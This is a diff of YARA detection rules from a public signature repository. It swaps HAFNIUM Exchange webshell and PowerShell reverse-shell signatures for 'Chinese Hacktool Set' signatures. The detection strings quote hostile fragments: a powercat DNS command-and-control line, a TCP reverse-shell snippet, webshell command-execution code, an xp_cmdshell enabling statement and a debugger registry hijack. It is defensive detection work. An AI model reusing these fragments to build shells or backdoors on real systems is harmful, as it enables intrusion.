+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+		logic_hash = "ea1410984fb1f66422faa943f1f16873f4e0d5ff1afa68c2d28f36889e214a52"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
-		$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
-		$s1 = "Returning Encoded Payload..." ascii
-		$s2 = "$CommandToExecute =" ascii fullword
-		$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii
+		$s0 = "GetLogonS" ascii
+		$s3 = "/showthread.php?t=156643" ascii
+		$s8 = "To Run As Administ" ascii
+		$s18 = "EnableDebugPrivileg" fullword ascii
+		$s19 = "sedebugnameValue" fullword ascii
 
 	condition:
-		uint16(0)==0x7566 and filesize <200KB and 1 of ($x*) or 3 of them
+		uint16(0)==0x5a4d and filesize <890KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Nishang_PS1_Invoke_Powershelltcponeline
+rule SIGNATURE_BASE_HKTL_CN_Update_Pcmain : FILE
 {
 	meta:
-		description = "Detects PowerShell Oneliner in Nishang's repository"
+		description = "Chinese Hacktool Set - file PcMain.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0218ebbd-2dbe-5838-ab53-1e78e3f97b9e"
-		date = "2021-03-03"
-		modified = "2023-12-05"
-		reference = "https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L105-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59622bff95de1077d26ee4547f37cd1045c0c1fc6817df40ff2564b33a962a07"
-		score = 75
+		id = "24c9ba6f-0772-59c9-8bea-3a8bf7823e4c"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "update_PcMain"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L832-L858"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aa68323aaec0269b0f7e697e69cce4d00a949caa"
+		logic_hash = "aa905379f65a8d964b921f2b74b61d94f97536466a7fc48f05c437d617cf35f6"
+		score = 90
 		quality = 85
-		tags = ""
-		hash1 = "2f4c948974da341412ab742e14d8cdd33c1efa22b90135fcfae891f08494ac32"
+		tags = "FILE"
 
 	strings:
-		$s1 = "=([text.encoding]::ASCII).GetBytes((iex $" ascii wide
-		$s2 = ".GetStream();[byte[]]$" ascii wide
-		$s3 = "New-Object Net.Sockets.TCPClient('" ascii wide
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322" ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s2 = "SOFTWARE\\Classes\\HTTP\\shell\\open\\command" fullword ascii
+		$s3 = "\\svchost.exe -k " ascii
+		$s4 = "SYSTEM\\ControlSet001\\Services\\%s" fullword ascii
+		$s9 = "Global\\%s-key-event" fullword ascii
+		$s10 = "%d%d.exe" fullword ascii
+		$s14 = "%d.exe" fullword ascii
+		$s15 = "Global\\%s-key-metux" fullword ascii
+		$s18 = "GET / HTTP/1.1" fullword ascii
+		$s19 = "\\Services\\" ascii
+		$s20 = "qy001id=%d;qy001guid=%s" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <500KB and 4 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Sportsball
+rule SIGNATURE_BASE_HKTL_CN_Dos_Sys : FILE
 {
 	meta:
-		description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
-		author = "threatintel@volexity.com"
-		id = "25b23a4c-8fc7-5d6f-b4b5-46fe2c1546d8"
-		date = "2021-03-01"
-		modified = "2023-12-05"
-		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L159-L180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
-		logic_hash = "5ec5e52922e97a3080d397b69b2f42f09daa995271e218ea085fa2ec4e3abad2"
+		description = "Chinese Hacktool Set - file sys.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c4b740f2-f4f8-59ff-ad1f-c06718040b50"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "Dos_sys"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L860-L878"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5837047443f8bc62284a0045982aaae8bab6f18"
+		logic_hash = "3b3f55c45ebfe4ab6d8e6b06a3c452c84d4f755f984d913c683a49a8fd570d9d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
-		$uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE="
-		$var1 = "Result.InnerText = string.Empty;"
-		$var2 = "newcook.Expires = DateTime.Now.AddDays("
-		$var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process();"
-		$var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
-		$var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
-		$var6 = "<input type=\"submit\" value=\"Upload\" />"
+		$s0 = "'SeDebugPrivilegeOpen " fullword ascii
+		$s6 = "Author: Cyg07*2" fullword ascii
+		$s12 = "from golds7n[LAG]'J" fullword ascii
+		$s14 = "DAMAGE" fullword ascii
 
 	condition:
-		any of ($uniq*) or all of ($var*)
+		uint16(0)==0x5a4d and filesize <150KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_CVE_2021_27065_Webshells : CVE_2021_27065 FILE
+rule SIGNATURE_BASE_HKTL_CN_Dat_Xpf : FILE
 {
 	meta:
-		description = "Detects web shells dropped by CVE-2021-27065. All actors, not specific to HAFNIUM. TLP:WHITE"
-		author = "Joe Hannon, Microsoft Threat Intelligence Center (MSTIC)"
-		id = "27677f35-24a3-59cc-a3ad-b83884128da7"
-		date = "2021-03-05"
-		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L182-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71795ba67bc8a4cea06b93da34b6291029ff74b200e37eb66f6ac51a6ff194cd"
+		description = "Chinese Hacktool Set - file xpf.sys"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fe2de535-4f86-5c29-b67e-153423a897f7"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "dat_xpf"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L880-L897"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "761125ab594f8dc996da4ce8ce50deba49c81846"
+		logic_hash = "c46b10ef17a9fee2be15fc9cc8b8aeec94d656b86e7208e1ad1f5efcd95fddf5"
 		score = 75
-		quality = 61
-		tags = "CVE-2021-27065, FILE"
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$script1 = "script language" ascii wide nocase
-		$script2 = "page language" ascii wide nocase
-		$script3 = "runat=\"server\"" ascii wide nocase
-		$script4 = "/script" ascii wide nocase
-		$externalurl = "externalurl" ascii wide nocase
-		$internalurl = "internalurl" ascii wide nocase
-		$internalauthenticationmethods = "internalauthenticationmethods" ascii wide nocase
-		$extendedprotectiontokenchecking = "extendedprotectiontokenchecking" ascii wide nocase
+		$s1 = "UnHook IoGetDeviceObjectPointer ok!" fullword ascii
+		$s2 = "\\Device\\XScanPF" wide
+		$s3 = "\\DosDevices\\XScanPF" wide
 
 	condition:
-		filesize <50KB and any of ($script*) and ($externalurl or $internalurl) and $internalauthenticationmethods and $extendedprotectiontokenchecking
+		uint16(0)==0x5a4d and filesize <25KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_3 : FILE
+rule SIGNATURE_BASE_HKTL_CN_Project1 : FILE
 {
 	meta:
-		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
+		description = "Chinese Hacktool Set - file Project1.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9c2ba123-63c4-5e9c-a08f-bd9db3304691"
-		date = "2021-03-07"
-		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L202-L216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "391b366d78c2f24dc006a5365ec232a9a3c2fe0ea514b18897701ceeffcc81ca"
-		score = 85
+		id = "12cc7a82-d7a9-58c6-b283-3bb0df477cd8"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "Project1"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L899-L916"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+		logic_hash = "c26590f13a185eb42a27d27e6b5996f7fdf4d5c146fb74062686f356ec4db47d"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "runat=\"server\">void Page_Load(object" ascii wide
-		$s2 = "Request.Files[0].SaveAs(Server.MapPath(" ascii wide
+		$s1 = "EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'" fullword ascii
+		$s2 = "Password.txt" fullword ascii
+		$s3 = "LoginPrompt" fullword ascii
 
 	condition:
-		filesize <50KB and all of them
+		uint16(0)==0x5a4d and filesize <5000KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_ASPX_HAFNIUM_Chopper_Mar21_4 : FILE
+rule SIGNATURE_BASE_Arp_EMP_V1_0 : FILE
 {
 	meta:
-		description = "Detects HAFNIUM ASPX files dropped on compromised servers"
+		description = "Chinese Hacktool Set - file Arp EMP v1.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "93f5b682-642d-5edf-84a9-296bf12cd72b"
-		date = "2021-03-07"
+		id = "b2552f26-47ac-5fa0-941e-d674f9deccac"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L218-L233"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "933ab74a0e30e2a728444d491c9eb0ff134db05d905aeb48efe3ba65674a3730"
-		score = 85
-		quality = 79
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L918-L931"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+		logic_hash = "e46b0f730945dad3c75b6865f30005f4d5fa09c53e3a27c275ca22da9cc89e8d"
+		score = 75
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<%@Page Language=\"Jscript\"%>" ascii wide nocase
-		$s2 = ".FromBase64String(" ascii wide nocase
-		$s3 = "eval(System.Text.Encoding." ascii wide nocase
+		$s0 = "Arp EMP v1.0.exe" fullword wide
 
 	condition:
-		filesize <850 and all of them
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_APT_HAFNIUM_Forensicartefacts_WER_Mar21_1 : CVE_2021_26857 FILE
+rule SIGNATURE_BASE_CN_Tools_Myupnp : FILE
 {
 	meta:
-		description = "Detects a Windows Error Report (WER) that indicates and exploitation attempt of the Exchange server as described in CVE-2021-26857 after the corresponding patches have been applied. WER files won't be written upon successful exploitation before applying the patch. Therefore, this indicates an unsuccessful attempt."
+		description = "Chinese Hacktool Set - file MyUPnP.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06771101-10ce-5d6b-99f7-a321aade7f69"
-		date = "2021-03-07"
+		id = "394e19d3-882e-5a7c-a3a0-e662bd67955c"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1368471533048446976"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L235-L250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2e135cb47f9fb5ca19ee1058fa6b4f39c098d2dfbab69bc19e80412ab695f126"
-		score = 40
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L933-L948"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "15b6fca7e42cd2800ba82c739552e7ffee967000"
+		logic_hash = "0bdd0d98dc5218bbe799e5e510c5f27d74a1ef398b09962f4267f846088f726e"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-26857, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "AppPath=c:\\windows\\system32\\inetsrv\\w3wp.exe" wide fullword
-		$s7 = ".Value=w3wp#MSExchangeECPAppPool" wide
+		$s1 = "<description>BYTELINKER.COM</description>" fullword ascii
+		$s2 = "myupnp.exe" fullword ascii
+		$s3 = "LOADER ERROR" fullword ascii
 
 	condition:
-		uint16(0)==0xfeff and filesize <8KB and all of them
+		uint16(0)==0x5a4d and filesize <1500KB and all of them
 }
-rule SIGNATURE_BASE_APT_HAFNIUM_Forensicartefacts_Cab_Recon_Mar21_1 : FILE
+rule SIGNATURE_BASE_CN_Tools_Shiell : FILE
 {
 	meta:
-		description = "Detects suspicious CAB files used by HAFNIUM for recon activity"
+		description = "Chinese Hacktool Set - file Shiell.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b0caf9d9-af0a-5181-85e4-6091cd6699e3"
-		date = "2021-03-11"
+		id = "7ac7d79d-3f4e-54e7-bb97-ce94cbbb40a2"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3?u=dstepanic"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L252-L273"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de3acb2d01ad14d73263af9e62ef7c715cde259e3f2fbbcbbb41d55589c3f0ab"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L950-L966"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b432d80c37abe354d344b949c8730929d8f9817a"
+		logic_hash = "44c494c24c090b21c3c201d57f910e8f4d5132a863715a090fa1e18c9d349d48"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ip.txt" ascii fullword
-		$s2 = "arp.txt" ascii fullword
-		$s3 = "system" ascii fullword
-		$s4 = "security" ascii fullword
+		$s1 = "C:\\Users\\Tong\\Documents\\Visual Studio 2012\\Projects\\Shift shell" ascii
+		$s2 = "C:\\Windows\\System32\\Shiell.exe" fullword wide
+		$s3 = "Shift shell.exe" fullword wide
+		$s4 = "\" /v debugger /t REG_SZ /d \"" fullword wide
 
 	condition:
-		uint32(0)==0x4643534d and filesize <10000KB and ($s1 in (0..200) and $s2 in (0..200) and $s3 in (0..200) and $s4 in (0..200))
+		uint16(0)==0x5a4d and filesize <1500KB and 2 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_Compiled_Webshell_Mar2021_1 : FILE
+rule SIGNATURE_BASE_Cndcom_Cndcom : FILE
 {
 	meta:
-		description = "Triggers on temporary pe files containing strings commonly used in webshells."
-		author = "Bundesamt fuer Sicherheit in der Informationstechnik"
-		id = "9336bd2c-791c-5c3e-9733-724a6a23864a"
-		date = "2021-03-05"
-		modified = "2021-03-12"
-		reference = "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L275-L295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d2e5f91f7bb50984c491eb9632d3863febc986760e4d03c8255872887ce4dc4a"
+		description = "Chinese Hacktool Set - file cndcom.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b1acfe34-03b8-5909-a226-3325fe8629ab"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L968-L988"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "08bbe6312342b28b43201125bd8c518531de8082"
+		logic_hash = "226be7ea7b09b2b87eeec006c8054b9fb59eb8324def14a4a0db97f94fb39d62"
 		score = 75
-		quality = 81
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = /App_Web_[a-zA-Z0-9]{7,8}.dll/ ascii wide fullword
-		$a1 = "~/aspnet_client/" ascii wide nocase
-		$a2 = "~/auth/" ascii wide nocase
-		$b1 = "JScriptEvaluate" ascii wide fullword
-		$c1 = "get_Request" ascii wide fullword
-		$c2 = "get_Files" ascii wide fullword
-		$c3 = "get_Count" ascii wide fullword
-		$c4 = "get_Item" ascii wide fullword
-		$c5 = "get_Server" ascii wide fullword
+		$s1 = "- Rewritten by HDM last <hdm [at] metasploit.com>" fullword ascii
+		$s2 = "- Usage: %s <Target ID> <Target IP>" fullword ascii
+		$s3 = "- Remote DCOM RPC Buffer Overflow Exploit" fullword ascii
+		$s4 = "- Warning:This Code is more like a dos tool!(Modify by pingker)" fullword ascii
+		$s5 = "Windows NT SP6 (Chinese)" fullword ascii
+		$s6 = "- Original code by FlashSky and Benjurry" fullword ascii
+		$s7 = "\\C$\\123456111111111111111.doc" wide
+		$s8 = "shell3all.c" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >5KB and filesize <40KB and all of ($x*) and 1 of ($a*) and ( all of ($b*) or all of ($c*))
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_MAL_ASP_DLL_HAFNIUM_Mar21_1 : FILE
+rule SIGNATURE_BASE_Isdebug_V1_4 : FILE
 {
 	meta:
-		description = "Detects HAFNIUM compiled ASP.NET DLLs dropped on compromised servers"
+		description = "Chinese Hacktool Set - file IsDebug V1.4.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68b8252e-a07d-5507-b556-a4d473f98157"
-		date = "2021-03-05"
+		id = "f9b4a909-e0e5-5708-8794-39250b9d56cc"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L297-L325"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4a3f9c7029e67647823a13079655b24648f5e4a7e238439b7a933b19477c20c"
-		score = 65
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L990-L1010"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ca32474c358b4402421ece1cb31714fbb088b69a"
+		logic_hash = "d656327c33533b5ef7dc70ec00250ee35d878794fae189829a0ecad958f96616"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "097f5f700c000a13b91855beb61a931d34fb0abb738a110368f525e25c5bc738"
-		hash2 = "15744e767cbaa9b37ff7bb5c036dda9b653fc54fc9a96fe73fbd639150b3daa3"
-		hash3 = "52ae4de2e3f0ef7fe27c699cb60d41129a3acd4a62be60accc85d88c296e1ddb"
-		hash4 = "5f0480035ee23a12302c88be10e54bf3adbcf271a4bb1106d4975a28234d3af8"
-		hash5 = "6243fd2826c528ee329599153355fd00153dee611ca33ec17effcf00205a6e4e"
-		hash6 = "ebf6799bb86f0da2b05e66a0fe5a9b42df6dac848f4b951b2ed7b7a4866f19ef"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Page_Load" ascii fullword
-		$sc1 = { 20 00 3A 00 20 00 68 00 74 00 74 00 70 00 3A 00
-               2F 00 2F 00 (66|67) 00 2F 00 00 89 A3 0D 00 0A 00 }
-		$op1 = { 00 43 00 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f }
-		$op2 = { 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f 00 61 00 }
-		$op3 = { 01 0e 0e 05 20 01 01 11 79 04 07 01 12 2d 04 07 01 12 31 02 }
-		$op4 = { 5e 00 03 00 bc 22 00 00 00 00 01 00 85 03 2b 00 03 00 cc }
+		$s0 = "IsDebug.dll" fullword ascii
+		$s1 = "SV Dumper V1.0" fullword wide
+		$s2 = "(IsDebuggerPresent byte Patcher)" fullword ascii
+		$s8 = "Error WriteMemory failed" fullword ascii
+		$s9 = "IsDebugPresent" fullword ascii
+		$s10 = "idb_Autoload" fullword ascii
+		$s11 = "Bin Files" fullword ascii
+		$s12 = "MASM32 version" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of ($s*) or all of ($op*)
+		uint16(0)==0x5a4d and filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Fileexplorer_Mar21_1 : FILE
+rule SIGNATURE_BASE_HTTPSCANNER : FILE
 {
 	meta:
-		description = "Detects Chopper like ASPX Webshells"
+		description = "Chinese Hacktool Set - file HTTPSCANNER.EXE"
 		author = "Florian Roth (Nextron Systems)"
-		id = "edcaa2a8-6fea-584e-90c2-307a2dfc9f7f"
-		date = "2021-03-31"
+		id = "470c90f5-bb98-59ab-bff4-f6238c318e36"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L363-L397"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b4ffd222b38e76455fff2650b72bdcaff281323103f342b427013cd3fffdc21"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1012-L1026"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ae2929346944c1ea3411a4562e9d5e2f765d088a"
+		logic_hash = "0f1460101198d8b139b7cc0674bef2fc7b3d2a24249f521396b7bbe4318a83d5"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "<span style=\"background-color: #778899; color: #fff; padding: 5px; cursor: pointer\" onclick=" ascii
-		$xc1 = { 3C 61 73 70 3A 48 69 64 64 65 6E 46 69 65 6C 64
-               20 72 75 6E 61 74 3D 22 73 65 72 76 65 72 22 20
-               49 44 3D 22 ?? ?? ?? ?? ?? 22 20 2F 3E 3C 62 72
-               20 2F 3E 3C 62 72 20 2F 3E 20 50 72 6F 63 65 73
-               73 20 4E 61 6D 65 3A 3C 61 73 70 3A 54 65 78 74
-               42 6F 78 20 49 44 3D }
-		$xc2 = { 22 3E 43 6F 6D 6D 61 6E 64 3C 2F 6C 61 62 65 6C
-               3E 3C 69 6E 70 75 74 20 69 64 3D 22 ?? ?? ?? ??
-               ?? 22 20 74 79 70 65 3D 22 72 61 64 69 6F 22 20
-               6E 61 6D 65 3D 22 74 61 62 73 22 3E 3C 6C 61 62
-               65 6C 20 66 6F 72 3D 22 ?? ?? ?? ?? ?? 22 3E 46
-               69 6C 65 20 45 78 70 6C 6F 72 65 72 3C 2F 6C 61
-               62 65 6C 3E 3C 25 2D 2D }
-		$r1 = "(Request.Form[" ascii
-		$s1 = ".Text + \" Created!\";" ascii
-		$s2 = "DriveInfo.GetDrives()" ascii
-		$s3 = "Encoding.UTF8.GetString(FromBase64String(str.Replace(" ascii
-		$s4 = "encodeURIComponent(btoa(String.fromCharCode.apply(null, new Uint8Array(bytes))));;"
+		$s1 = "HttpScanner.exe" fullword wide
+		$s2 = "HttpScanner" fullword wide
 
 	condition:
-		uint16(0)==0x253c and filesize <100KB and (1 of ($x*) or 2 of them ) or 4 of them
+		uint16(0)==0x5a4d and filesize <3500KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Chopper_Like_Mar21_1 : FILE
+rule SIGNATURE_BASE_Hscan_V1_20_Pipecmd : FILE
 {
 	meta:
-		description = "Detects Chopper like ASPX Webshells"
+		description = "Chinese Hacktool Set - file PipeCmd.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a4dc1880-865f-5e20-89a2-3a642c453ef9"
-		date = "2021-03-31"
+		id = "957a8e3b-5f6c-5f3e-8973-88259c9cb0dc"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L399-L416"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "baa9eb1e3c4ac5ce49d27b1c3f75c8b6590567e25d98761a8b704478f2cee970"
-		score = 85
+		reference = "http://tools.zjqhr.com/"
